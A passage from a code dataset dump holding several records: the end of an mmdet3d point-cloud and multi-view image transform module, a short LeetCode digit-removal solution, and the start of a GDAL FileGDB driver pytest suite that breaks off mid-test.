translation_std type {type(translation_std)}'\n translation_std = [\n translation_std, translation_std, translation_std\n ]\n assert all([std >= 0 for std in translation_std]), \\\n 'translation_std should be positive'\n self.translation_std = translation_std\n self.shift_height = shift_height\n\n def _trans_bbox_points(self, input_dict):\n \"\"\"Private function to translate bounding boxes and points.\n\n Args:\n input_dict (dict): Result dict from loading pipeline.\n\n Returns:\n dict: Results after translation, 'points', 'pcd_trans' \\\n and keys in input_dict['bbox3d_fields'] are updated \\\n in the result dict.\n \"\"\"\n translation_std = np.array(self.translation_std, dtype=np.float32)\n trans_factor = np.random.normal(scale=translation_std, size=3).T\n\n input_dict['points'].translate(trans_factor)\n input_dict['pcd_trans'] = trans_factor\n for key in input_dict['bbox3d_fields']:\n input_dict[key].translate(trans_factor)\n\n def _rot_bbox_points(self, input_dict):\n \"\"\"Private function to rotate bounding boxes and points.\n\n Args:\n input_dict (dict): Result dict from loading pipeline.\n\n\n Returns:\n dict: Results after rotation, 'points', 'pcd_rotation' \\\n and keys in input_dict['bbox3d_fields'] are updated \\\n in the result dict.\n \"\"\"\n if 'pcd_rot_factor' not in input_dict.keys():\n rotation = self.rot_range\n noise_rotation = np.random.uniform(rotation[0], rotation[1])\n else:\n noise_rotation = input_dict['pcd_rot_factor']\n\n # if no bbox in input_dict, only rotate points\n if len(input_dict['bbox3d_fields']) == 0:\n rot_mat_T = input_dict['points'].rotate(noise_rotation)\n input_dict['pcd_rotation'] = rot_mat_T\n return\n\n # rotate points with bboxes\n for key in input_dict['bbox3d_fields']:\n if len(input_dict[key].tensor) != 0:\n points, rot_mat_T = input_dict[key].rotate(\n noise_rotation, input_dict['points'])\n input_dict['points'] = points\n input_dict['pcd_rotation'] = rot_mat_T\n\n def _scale_bbox_points(self, input_dict):\n \"\"\"Private function to scale bounding boxes and points.\n\n Args:\n input_dict (dict): Result dict from loading pipeline.\n\n Returns:\n dict: Results after scaling, 'points'and keys in \\\n input_dict['bbox3d_fields'] are updated in the result dict.\n \"\"\"\n scale = input_dict['pcd_scale_factor']\n points = input_dict['points']\n points.scale(scale)\n if self.shift_height:\n assert 'height' in points.attribute_dims.keys(), \\\n 'setting shift_height=True but points have no height attribute'\n points.tensor[:, points.attribute_dims['height']] *= scale\n input_dict['points'] = points\n\n for key in input_dict['bbox3d_fields']:\n input_dict[key].scale(scale)\n\n def _random_scale(self, input_dict):\n \"\"\"Private function to randomly set the scale factor.\n\n Args:\n input_dict (dict): Result dict from loading pipeline.\n\n Returns:\n dict: Results after scaling, 'pcd_scale_factor' are updated \\\n in the result dict.\n \"\"\"\n scale_factor = np.random.uniform(self.scale_ratio_range[0],\n self.scale_ratio_range[1])\n input_dict['pcd_scale_factor'] = scale_factor\n\n def __call__(self, input_dict):\n \"\"\"Private function to rotate, scale and translate bounding boxes and \\\n points.\n\n Args:\n input_dict (dict): Result dict from loading pipeline.\n\n Returns:\n dict: Results after scaling, 'points', 'pcd_rotation',\n 'pcd_scale_factor', 'pcd_trans' and keys in \\\n input_dict['bbox3d_fields'] are updated in the result dict.\n \"\"\"\n if 'transformation_3d_flow' not in input_dict:\n input_dict['transformation_3d_flow'] = []\n\n self._rot_bbox_points(input_dict)\n\n if 'pcd_scale_factor' not in input_dict:\n self._random_scale(input_dict)\n self._scale_bbox_points(input_dict)\n\n self._trans_bbox_points(input_dict)\n\n input_dict['transformation_3d_flow'].extend(['R', 'S', 'T'])\n return input_dict\n\n def __repr__(self):\n \"\"\"str: Return a string that describes the module.\"\"\"\n repr_str = self.__class__.__name__\n repr_str += f'(rot_range={self.rot_range},'\n repr_str += f' scale_ratio_range={self.scale_ratio_range},'\n repr_str += f' translation_std={self.translation_std},'\n repr_str += f' shift_height={self.shift_height})'\n return repr_str\n\n@PIPELINES.register_module()\nclass PadMultiViewImage(object):\n \"\"\"Pad the multi-view image.\n There are two padding modes: (1) pad to a fixed size and (2) pad to the\n minimum size that is divisible by some number.\n Added keys are \"pad_shape\", \"pad_fixed_size\", \"pad_size_divisor\",\n Args:\n size (tuple, optional): Fixed padding size.\n size_divisor (int, optional): The divisor of padded size.\n pad_val (float, optional): Padding value, 0 by default.\n \"\"\"\n\n def __init__(self, size=None, size_divisor=None, pad_val=0):\n self.size = size\n self.size_divisor = size_divisor\n self.pad_val = pad_val\n # only one of size and size_divisor should be valid\n assert size is not None or size_divisor is not None\n assert size is None or size_divisor is None\n\n def _pad_img(self, results):\n \"\"\"Pad images according to ``self.size``.\"\"\"\n if self.size is not None:\n padded_img = [mmcv.impad(\n img, shape=self.size, pad_val=self.pad_val) for img in results['img']]\n elif self.size_divisor is not None:\n padded_img = [mmcv.impad_to_multiple(\n img, self.size_divisor, pad_val=self.pad_val) for img in results['img']]\n results['img'] = padded_img\n results['img_shape'] = [img.shape for img in padded_img]\n results['pad_shape'] = [img.shape for img in padded_img]\n results['pad_fixed_size'] = self.size\n results['pad_size_divisor'] = self.size_divisor\n\n def __call__(self, results):\n \"\"\"Call function to pad images, masks, semantic segmentation maps.\n Args:\n results (dict): Result dict from loading pipeline.\n Returns:\n dict: Updated result dict.\n \"\"\"\n self._pad_img(results)\n return results\n\n def __repr__(self):\n repr_str = self.__class__.__name__\n repr_str += f'(size={self.size}, '\n repr_str += f'size_divisor={self.size_divisor}, '\n repr_str += f'pad_val={self.pad_val})'\n return repr_str\n\n\n@PIPELINES.register_module()\nclass NormalizeMultiviewImage(object):\n \"\"\"Normalize the image.\n Added key is \"img_norm_cfg\".\n Args:\n mean (sequence): Mean values of 3 channels.\n std (sequence): Std values of 3 channels.\n to_rgb (bool): Whether to convert the image from BGR to RGB,\n default is true.\n \"\"\"\n\n def __init__(self, mean, std, to_rgb=True):\n self.mean = np.array(mean, dtype=np.float32)\n self.std = np.array(std, dtype=np.float32)\n self.to_rgb = to_rgb\n\n def __call__(self, results):\n \"\"\"Call function to normalize images.\n Args:\n results (dict): Result dict from loading pipeline.\n Returns:\n dict: Normalized results, 'img_norm_cfg' key is added into\n result dict.\n \"\"\"\n results['img'] = [mmcv.imnormalize(\n img, self.mean, self.std, self.to_rgb) for img in results['img']]\n results['img_norm_cfg'] = dict(\n mean=self.mean, std=self.std, to_rgb=self.to_rgb)\n return results\n\n def __repr__(self):\n repr_str = self.__class__.__name__\n repr_str += f'(mean={self.mean}, std={self.std}, to_rgb={self.to_rgb})'\n return repr_str","repo_name":"BraveGroup/FullySparseFusion","sub_path":"projects/mmdet3d_plugin/datasets/pipelines/transforms_3d.py","file_name":"transforms_3d.py","file_ext":"py","file_size_in_byte":10356,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"19"} +{"seq_id":"32605264395","text":"from typing import List\nclass Solution:\n def removeDigit(self, number: str, digit: str) -> str:\n n = len(number)\n ans = []\n for i in range(n):\n if number[i] == digit:\n ans.append(number[:i]+ number[i+1:])\n return str(max(ans))\n ","repo_name":"smi-23/Leetcode","sub_path":"2259-remove-digit-from-number-to-maximize-result/2259-remove-digit-from-number-to-maximize-result.py","file_name":"2259-remove-digit-from-number-to-maximize-result.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38150992527","text":"import os\nimport shutil\nimport sys\n\nimport gdaltest\nimport ogrtest\nimport pytest\n\nfrom osgeo import gdal, ogr, osr\n\npytestmark = pytest.mark.require_driver(\"FileGDB\")\n\n###############################################################################\n@pytest.fixture(autouse=True, scope=\"module\")\ndef module_disable_exceptions():\n with gdaltest.disable_exceptions():\n yield\n\n\n###############################################################################\n\n\n@pytest.fixture(autouse=True, scope=\"module\")\ndef startup_and_cleanup():\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n yield\n\n # The SDK messes somehow with the locale, which cause issues in\n # other test files, such as gcore/basic_test.py, which assumes English\n # error messages\n import locale\n\n locale.setlocale(locale.LC_ALL, \"C\")\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n try:\n shutil.rmtree(\"tmp/test2.gdb\")\n except OSError:\n pass\n try:\n shutil.rmtree(\"tmp/poly.gdb\")\n except OSError:\n pass\n try:\n shutil.rmtree(\"tmp/test3005.gdb\")\n except OSError:\n pass\n try:\n shutil.rmtree(\"tmp/roads_clip Drawing.gdb\")\n except OSError:\n pass\n\n\n###############################################################################\n\n\n@pytest.fixture(autouse=True, scope=\"module\")\ndef openfilegdb_drv():\n drv = ogr.GetDriverByName(\"OpenFileGDB\")\n yield drv\n\n\n###############################################################################\n\n\n@pytest.fixture(autouse=True, scope=\"module\")\ndef fgdb_drv(openfilegdb_drv):\n drv = ogr.GetDriverByName(\"FileGDB\")\n if drv is None:\n pytest.skip(\"FileGDB driver not available\", allow_module_level=True)\n\n if openfilegdb_drv is not None:\n openfilegdb_drv.Deregister()\n\n yield drv\n\n if openfilegdb_drv is not None:\n drv.Deregister()\n # Force OpenFileGDB first\n openfilegdb_drv.Register()\n drv.Register()\n\n\n###############################################################################\n\n\n@pytest.fixture()\ndef fgdb_sdk_1_4_or_later(fgdb_drv):\n fgdb_is_sdk_1_4 = False\n\n try:\n shutil.rmtree(\"tmp/ogr_fgdb_is_sdk_1_4_or_later.gdb\")\n except OSError:\n pass\n\n ds = fgdb_drv.CreateDataSource(\"tmp/ogr_fgdb_is_sdk_1_4_or_later.gdb\")\n srs = osr.SpatialReference()\n srs.ImportFromProj4(\"+proj=tmerc +datum=WGS84 +no_defs\")\n with gdal.quiet_errors():\n lyr = ds.CreateLayer(\"test\", srs=srs, geom_type=ogr.wkbPoint)\n if lyr is not None:\n fgdb_is_sdk_1_4 = True\n ds = None\n shutil.rmtree(\"tmp/ogr_fgdb_is_sdk_1_4_or_later.gdb\")\n if not fgdb_is_sdk_1_4:\n pytest.skip(\"SDK 1.4 required\")\n\n\n###############################################################################\n\n\n@pytest.fixture()\ndef ogrsf_path():\n import test_cli_utilities\n\n path = test_cli_utilities.get_test_ogrsf_path()\n if path is None:\n pytest.skip(\"ogrsf test utility not found\")\n\n return path\n\n\n###############################################################################\n# Write and read back various geometry types\n\n\ndef test_ogr_fgdb_1(fgdb_drv):\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n\n datalist = [\n [\"none\", ogr.wkbNone, None],\n [\"point\", ogr.wkbPoint, \"POINT (1 2)\"],\n [\"multipoint\", ogr.wkbMultiPoint, \"MULTIPOINT (1 2,3 4)\"],\n [\n \"linestring\",\n ogr.wkbLineString,\n \"LINESTRING (1 2,3 4)\",\n \"MULTILINESTRING ((1 2,3 4))\",\n ],\n [\n \"multilinestring\",\n ogr.wkbMultiLineString,\n \"MULTILINESTRING ((1 2,3 4),(5 6,7 8))\",\n ],\n [\n \"polygon\",\n ogr.wkbPolygon,\n \"POLYGON ((0 0,0 1,1 1,1 0,0 0))\",\n \"MULTIPOLYGON (((0 0,0 1,1 1,1 0,0 0)))\",\n ],\n [\n \"multipolygon\",\n ogr.wkbMultiPolygon,\n \"MULTIPOLYGON (((0 0,0 1,1 1,1 0,0 0),(0.25 0.25,0.75 0.25,0.75 0.75,0.25 0.75,0.25 0.25)),((2 0,2 1,3 1,3 0,2 0)))\",\n ],\n [\"point25D\", ogr.wkbPoint25D, \"POINT (1 2 3)\"],\n [\"multipoint25D\", ogr.wkbMultiPoint25D, \"MULTIPOINT (1 2 -10,3 4 -20)\"],\n [\n \"linestring25D\",\n ogr.wkbLineString25D,\n \"LINESTRING (1 2 -10,3 4 -20)\",\n \"MULTILINESTRING ((1 2 -10,3 4 -20))\",\n ],\n [\n \"multilinestring25D\",\n ogr.wkbMultiLineString25D,\n \"MULTILINESTRING ((1 2 -10,3 4 -20))\",\n ],\n [\n \"polygon25D\",\n ogr.wkbPolygon25D,\n \"POLYGON ((0 0 -10,0 1 -10,1 1 -10,1 0 -10,0 0 -10))\",\n \"MULTIPOLYGON (((0 0 -10,0 1 -10,1 1 -10,1 0 -10,0 0 -10)))\",\n ],\n [\n \"multipolygon25D\",\n ogr.wkbMultiPolygon25D,\n \"MULTIPOLYGON (((0 0 -10,0 1 -10,1 1 -10,1 0 -10,0 0 -10)))\",\n ],\n [\n \"multipatch\",\n ogr.wkbMultiPolygon25D,\n \"GEOMETRYCOLLECTION Z (TIN Z (((0.0 0.0 0,0.0 1.0 0,1.0 0.0 0,0.0 0.0 0)),((0.0 1.0 0,1.0 0.0 0,1.0 1.0 0,0.0 1.0 0))),TIN Z (((10.0 0.0 0,10.0 1.0 0,11.0 0.0 0,10.0 0.0 0)),((10.0 0.0 0,11.0 0.0 0,10.0 -1.0 0,10.0 0.0 0))),TIN Z (((5.0 0.0 0,5.0 1.0 0,6.0 0.0 0,5.0 0.0 0))),MULTIPOLYGON Z (((100.0 0.0 0,100.0 1.0 0,101.0 1.0 0,101.0 0.0 0,100.0 0.0 0),(100.25 0.25 0,100.75 0.25 0,100.75 0.75 0,100.75 0.25 0,100.25 0.25 0))))\",\n ],\n [\n \"tin\",\n ogr.wkbTINZ,\n \"TIN Z (((0.0 0.0 0,0.0 1.0 0,1.0 0.0 0,0.0 0.0 0)),((0.0 1.0 0,1.0 0.0 0,1.0 1.0 0,0.0 1.0 0)))\",\n ],\n [\"null_polygon\", ogr.wkbPolygon, None],\n [\"empty_polygon\", ogr.wkbPolygon, \"POLYGON EMPTY\", None],\n ]\n\n options = [\n \"COLUMN_TYPES=smallint=esriFieldTypeSmallInteger,float=esriFieldTypeSingle,guid=esriFieldTypeGUID,xml=esriFieldTypeXML\"\n ]\n\n for data in datalist:\n if data[1] == ogr.wkbNone:\n lyr = ds.CreateLayer(data[0], geom_type=data[1], options=options)\n elif data[0] == \"multipatch\":\n lyr = ds.CreateLayer(\n data[0],\n geom_type=data[1],\n srs=srs,\n options=[\"CREATE_MULTIPATCH=YES\", options[0]],\n )\n else:\n lyr = ds.CreateLayer(data[0], geom_type=data[1], srs=srs, options=options)\n lyr.CreateField(ogr.FieldDefn(\"id\", ogr.OFTInteger))\n lyr.CreateField(ogr.FieldDefn(\"str\", ogr.OFTString))\n lyr.CreateField(ogr.FieldDefn(\"smallint\", ogr.OFTInteger))\n lyr.CreateField(ogr.FieldDefn(\"int\", ogr.OFTInteger))\n lyr.CreateField(ogr.FieldDefn(\"float\", ogr.OFTReal))\n lyr.CreateField(ogr.FieldDefn(\"real\", ogr.OFTReal))\n lyr.CreateField(ogr.FieldDefn(\"adate\", ogr.OFTDateTime))\n lyr.CreateField(ogr.FieldDefn(\"guid\", ogr.OFTString))\n lyr.CreateField(ogr.FieldDefn(\"xml\", ogr.OFTString))\n lyr.CreateField(ogr.FieldDefn(\"binary\", ogr.OFTBinary))\n lyr.CreateField(ogr.FieldDefn(\"binary2\", ogr.OFTBinary))\n fld_defn = ogr.FieldDefn(\"smallint2\", ogr.OFTInteger)\n fld_defn.SetSubType(ogr.OFSTInt16)\n lyr.CreateField(fld_defn)\n fld_defn = ogr.FieldDefn(\"float2\", ogr.OFTReal)\n fld_defn.SetSubType(ogr.OFSTFloat32)\n lyr.CreateField(fld_defn)\n\n # We need at least 5 features so that test_ogrsf can test SetFeature()\n for i in range(5):\n feat = ogr.Feature(lyr.GetLayerDefn())\n if data[1] != ogr.wkbNone and data[2] is not None:\n feat.SetGeometry(ogr.CreateGeometryFromWkt(data[2]))\n feat.SetField(\"id\", i + 1)\n feat.SetField(\"str\", \"foo_\\xc3\\xa9\")\n feat.SetField(\"smallint\", -13)\n feat.SetField(\"int\", 123)\n feat.SetField(\"float\", 1.5)\n feat.SetField(\"real\", 4.56)\n feat.SetField(\"adate\", \"2013/12/26 12:34:56\")\n feat.SetField(\"guid\", \"{12345678-9abc-DEF0-1234-567890ABCDEF}\")\n feat.SetField(\"xml\", \"\")\n feat.SetField(\"binary\", b\"\\x00\\xFF\\x7F\")\n feat.SetField(\"binary2\", b\"\\x12\\x34\\x56\")\n feat.SetField(\"smallint2\", -32768)\n feat.SetField(\"float2\", 1.5)\n lyr.CreateFeature(feat)\n\n for data in datalist:\n lyr = ds.GetLayerByName(data[0])\n if data[1] != ogr.wkbNone:\n assert (\n lyr.GetSpatialRef().IsSame(\n srs, options=[\"IGNORE_DATA_AXIS_TO_SRS_AXIS_MAPPING=YES\"]\n )\n == 1\n )\n feat = lyr.GetNextFeature()\n if data[1] != ogr.wkbNone:\n try:\n expected_wkt = data[3]\n except IndexError:\n expected_wkt = data[2]\n ogrtest.check_feature_geometry(feat, expected_wkt)\n\n if (\n feat.GetField(\"id\") != 1\n or feat.GetField(\"smallint\") != -13\n or feat.GetField(\"int\") != 123\n or feat.GetField(\"float\") != 1.5\n or feat.GetField(\"real\") != 4.56\n or feat.GetField(\"adate\") != \"2013/12/26 12:34:56\"\n or feat.GetField(\"guid\") != \"{12345678-9ABC-DEF0-1234-567890ABCDEF}\"\n or feat.GetField(\"xml\") != \"\"\n or feat.GetField(\"binary\") != \"00FF7F\"\n or feat.GetField(\"binary2\") != \"123456\"\n or feat.GetField(\"smallint2\") != -32768\n ):\n feat.DumpReadable()\n pytest.fail()\n\n sql_lyr = ds.ExecuteSQL(\"GetLayerDefinition %s\" % lyr.GetName())\n assert sql_lyr is not None\n feat = sql_lyr.GetNextFeature()\n assert feat is not None\n feat = sql_lyr.GetNextFeature()\n assert feat is None\n lyr.ResetReading()\n lyr.TestCapability(\"foo\")\n ds.ReleaseResultSet(sql_lyr)\n\n sql_lyr = ds.ExecuteSQL(\"GetLayerMetadata %s\" % lyr.GetName())\n assert sql_lyr is not None\n feat = sql_lyr.GetNextFeature()\n assert feat is not None\n ds.ReleaseResultSet(sql_lyr)\n\n sql_lyr = ds.ExecuteSQL(\"GetLayerDefinition foo\")\n assert sql_lyr is None\n\n sql_lyr = ds.ExecuteSQL(\"GetLayerMetadata foo\")\n assert sql_lyr is None\n\n ds = None\n\n\n###############################################################################\n# Test DeleteField()\n\n\ndef test_ogr_fgdb_DeleteField():\n\n ds = ogr.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByIndex(0)\n\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"smallint\"))\n .GetSubType()\n == ogr.OFSTInt16\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"smallint2\"))\n .GetSubType()\n == ogr.OFSTInt16\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"float\"))\n .GetSubType()\n == ogr.OFSTFloat32\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"float2\"))\n .GetSubType()\n == ogr.OFSTFloat32\n )\n\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"smallint\"))\n .GetWidth()\n == 0\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"str\"))\n .GetWidth()\n == 0\n )\n assert lyr.DeleteField(lyr.GetLayerDefn().GetFieldIndex(\"str\")) == 0\n\n # Needed since FileGDB v1.4, otherwise crash/error ...\n if True: # pylint: disable=using-constant-test\n ds = ogr.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByIndex(0)\n\n fld_defn = ogr.FieldDefn(\"str2\", ogr.OFTString)\n fld_defn.SetWidth(80)\n lyr.CreateField(fld_defn)\n feat = lyr.GetNextFeature()\n feat.SetField(\"str2\", \"foo2_\\xc3\\xa9\")\n lyr.SetFeature(feat)\n\n # Test updating non-existing feature\n feat.SetFID(-10)\n with gdaltest.disable_exceptions():\n assert (\n lyr.SetFeature(feat) == ogr.OGRERR_NON_EXISTING_FEATURE\n ), \"Expected failure of SetFeature().\"\n\n # Test deleting non-existing feature\n assert (\n lyr.DeleteFeature(-10) == ogr.OGRERR_NON_EXISTING_FEATURE\n ), \"Expected failure of DeleteFeature().\"\n\n sql_lyr = ds.ExecuteSQL(\"REPACK\")\n assert sql_lyr\n f = sql_lyr.GetNextFeature()\n assert f[0] == \"true\"\n ds.ReleaseResultSet(sql_lyr)\n\n feat = None\n ds = None\n\n ds = ogr.Open(\"tmp/test.gdb\")\n lyr = ds.GetLayerByIndex(0)\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"str2\"))\n .GetWidth()\n == 80\n )\n assert lyr.GetLayerDefn().GetFieldIndex(\"str\") == -1\n feat = lyr.GetNextFeature()\n assert feat.GetFieldAsString(\"str2\") == \"foo2_\\xc3\\xa9\"\n ds = None\n\n\n###############################################################################\n# Run test_ogrsf\n\n\ndef test_ogr_fgdb_2(ogrsf_path):\n ret = gdaltest.runexternal(\n ogrsf_path + \" -ro tmp/test.gdb --config OGR_SKIP OpenFileGDB\"\n )\n\n assert ret.find(\"INFO\") != -1 and ret.find(\"ERROR\") == -1\n\n\n###############################################################################\n# Run ogr2ogr\n\n\ndef test_ogr_fgdb_3(openfilegdb_drv):\n\n import test_cli_utilities\n\n if test_cli_utilities.get_ogr2ogr_path() is None:\n pytest.skip()\n\n try:\n shutil.rmtree(\"tmp/poly.gdb\")\n except OSError:\n pass\n\n gdaltest.runexternal(\n test_cli_utilities.get_ogr2ogr_path()\n + \" -f filegdb tmp/poly.gdb data/poly.shp -nlt MULTIPOLYGON -a_srs None\"\n )\n\n ds = ogr.Open(\"tmp/poly.gdb\")\n assert not (ds is None or ds.GetLayerCount() == 0), \"ogr2ogr failed\"\n ds = None\n\n if test_cli_utilities.get_test_ogrsf_path() is None:\n pytest.skip()\n\n if openfilegdb_drv is None:\n # OpenFileGDB is required for CreateFeature() with a FID set\n pytest.skip(\"skipping test_ogrsf due to missing OpenFileGDB driver\")\n\n ret = gdaltest.runexternal(\n test_cli_utilities.get_test_ogrsf_path()\n + \" tmp/poly.gdb --config DRIVER_WISHED FileGDB\"\n )\n # print ret\n\n assert ret.find(\"INFO\") != -1 and ret.find(\"ERROR\") == -1\n\n\n###############################################################################\n# Test SQL support\n\n\ndef test_ogr_fgdb_sql():\n\n import test_cli_utilities\n\n if test_cli_utilities.get_ogr2ogr_path() is None:\n pytest.skip()\n\n ds = ogr.Open(\"tmp/poly.gdb\")\n\n ds.ExecuteSQL(\"CREATE INDEX idx_poly_eas_id ON poly(EAS_ID)\")\n\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM POLY WHERE EAS_ID = 170\", dialect=\"FileGDB\")\n feat = sql_lyr.GetNextFeature()\n assert feat is not None\n feat = sql_lyr.GetNextFeature()\n assert feat is None\n feat = None\n ds.ReleaseResultSet(sql_lyr)\n ds = None\n\n\n###############################################################################\n# Test delete layer\n\n\ndef test_ogr_fgdb_4():\n\n for j in range(2):\n\n # Create a layer\n ds = ogr.Open(\"tmp/test.gdb\", update=1)\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n lyr = ds.CreateLayer(\"layer_to_remove\", geom_type=ogr.wkbPoint, srs=srs)\n lyr.CreateField(ogr.FieldDefn(\"str\", ogr.OFTString))\n feat = ogr.Feature(lyr.GetLayerDefn())\n feat.SetGeometry(ogr.CreateGeometryFromWkt(\"POINT(2 49)\"))\n feat.SetField(\"str\", \"foo\")\n feat = None\n lyr = None\n\n if j == 1:\n ds = None\n ds = ogr.Open(\"tmp/test.gdb\", update=1)\n\n # Delete it\n for i in range(ds.GetLayerCount()):\n if ds.GetLayer(i).GetName() == \"layer_to_remove\":\n ds.DeleteLayer(i)\n break\n\n # Check it no longer exists\n lyr = ds.GetLayerByName(\"layer_to_remove\")\n ds = None\n\n assert lyr is None, \"failed at iteration %d\" % j\n\n\n###############################################################################\n# Test DeleteDataSource()\n\n\ndef test_ogr_fgdb_5(fgdb_drv):\n\n assert fgdb_drv.DeleteDataSource(\"tmp/test.gdb\") == 0, \"DeleteDataSource() failed\"\n\n assert not os.path.exists(\"tmp/test.gdb\")\n\n\n###############################################################################\n# Test adding a layer to an existing feature dataset\n\n\ndef test_ogr_fgdb_6(fgdb_drv):\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n ds.CreateLayer(\n \"layer1\",\n srs=srs,\n geom_type=ogr.wkbPoint,\n options=[\"FEATURE_DATASET=featuredataset\"],\n )\n ds.CreateLayer(\n \"layer2\",\n srs=srs,\n geom_type=ogr.wkbPoint,\n options=[\"FEATURE_DATASET=featuredataset\"],\n )\n ds = None\n\n ds = ogr.Open(\"tmp/test.gdb\")\n assert ds.GetLayerCount() == 2\n ds = None\n\n\n###############################################################################\n# Test bulk loading (#4420)\n\n\ndef test_ogr_fgdb_7(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n lyr = ds.CreateLayer(\"test\", srs=srs, geom_type=ogr.wkbPoint)\n lyr.CreateField(ogr.FieldDefn(\"id\", ogr.OFTInteger))\n with gdal.config_option(\"FGDB_BULK_LOAD\", \"YES\"):\n for i in range(1000):\n feat = ogr.Feature(lyr.GetLayerDefn())\n feat.SetField(0, i)\n geom = ogr.CreateGeometryFromWkt(\"POINT(0 1)\")\n feat.SetGeometry(geom)\n lyr.CreateFeature(feat)\n feat = None\n\n lyr.ResetReading()\n feat = lyr.GetNextFeature()\n assert feat.GetField(0) == 0\n ds = None\n\n\n###############################################################################\n# Test field name laundering (#4458)\n\n\ndef test_ogr_fgdb_8(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n lyr = ds.CreateLayer(\"test\", srs=srs, geom_type=ogr.wkbPoint)\n with gdal.quiet_errors():\n lyr.CreateField(ogr.FieldDefn(\"FROM\", ogr.OFTInteger)) # reserved keyword\n lyr.CreateField(\n ogr.FieldDefn(\"1NUMBER\", ogr.OFTInteger)\n ) # starting with a number\n lyr.CreateField(\n ogr.FieldDefn(\"WITH SPACE AND !$*!- special characters\", ogr.OFTInteger)\n ) # unallowed characters\n lyr.CreateField(ogr.FieldDefn(\"é\" * 64, ogr.OFTInteger)) # OK\n lyr.CreateField(\n ogr.FieldDefn(\n \"A123456789012345678901234567890123456789012345678901234567890123\",\n ogr.OFTInteger,\n )\n ) # 64 characters : ok\n lyr.CreateField(\n ogr.FieldDefn(\n \"A1234567890123456789012345678901234567890123456789012345678901234\",\n ogr.OFTInteger,\n )\n ) # 65 characters : nok\n lyr.CreateField(\n ogr.FieldDefn(\n \"A12345678901234567890123456789012345678901234567890123456789012345\",\n ogr.OFTInteger,\n )\n ) # 66 characters : nok\n\n lyr_defn = lyr.GetLayerDefn()\n expected_names = [\n \"FROM_\",\n \"_1NUMBER\",\n \"WITH_SPACE_AND_______special_characters\",\n \"é\" * 64,\n \"A123456789012345678901234567890123456789012345678901234567890123\",\n \"A1234567890123456789012345678901234567890123456789012345678901_1\",\n \"A1234567890123456789012345678901234567890123456789012345678901_2\",\n ]\n for i in range(5):\n assert lyr_defn.GetFieldIndex(expected_names[i]) == i, (\n \"did not find %s\" % expected_names[i]\n )\n\n\n###############################################################################\n# Test layer name laundering (#4466)\n\n\ndef test_ogr_fgdb_9(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n _160char = \"A123456789\" * 16\n\n in_names = [\n \"FROM\", # reserved keyword\n \"1NUMBER\", # starting with a number\n \"WITH SPACE AND !$*!- special characters\", # banned characters\n \"sde_foo\", # reserved prefixes\n _160char, # OK\n _160char + \"A\", # too long\n _160char + \"B\", # still too long\n ]\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n with gdal.quiet_errors():\n for in_name in in_names:\n lyr = ds.CreateLayer(in_name, srs=srs, geom_type=ogr.wkbPoint)\n\n lyr.GetLayerDefn()\n expected_names = [\n \"FROM_\",\n \"_1NUMBER\",\n \"WITH_SPACE_AND_______special_characters\",\n \"_sde_foo\",\n _160char,\n _160char[0:158] + \"_1\",\n _160char[0:158] + \"_2\",\n ]\n for i, exp_name in enumerate(expected_names):\n assert ds.GetLayerByIndex(i).GetName() == exp_name, \"did not find %s\" % exp_name\n\n\n###############################################################################\n# Test SRS support\n\n\ndef test_ogr_fgdb_10(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n srs_exact_4326 = osr.SpatialReference()\n srs_exact_4326.ImportFromEPSG(4326)\n\n srs_approx_4326 = srs_exact_4326.Clone()\n srs_approx_4326.MorphToESRI()\n srs_approx_4326.ImportFromWkt(srs_approx_4326.ExportToWkt())\n\n srs_exact_2193 = osr.SpatialReference()\n srs_exact_2193.ImportFromEPSG(2193)\n\n srs_approx_2193 = srs_exact_2193.Clone()\n srs_approx_2193.MorphToESRI()\n srs_approx_2193.ImportFromWkt(srs_approx_2193.ExportToWkt())\n\n srs_not_in_db = osr.SpatialReference(\n \"\"\"PROJCS[\"foo\",\n GEOGCS[\"foo\",\n DATUM[\"foo\",\n SPHEROID[\"foo\",6000000,300]],\n PRIMEM[\"Greenwich\",0],\n UNIT[\"Degree\",0.017453292519943295]],\n PROJECTION[\"Transverse_Mercator\"],\n PARAMETER[\"latitude_of_origin\",0],\n 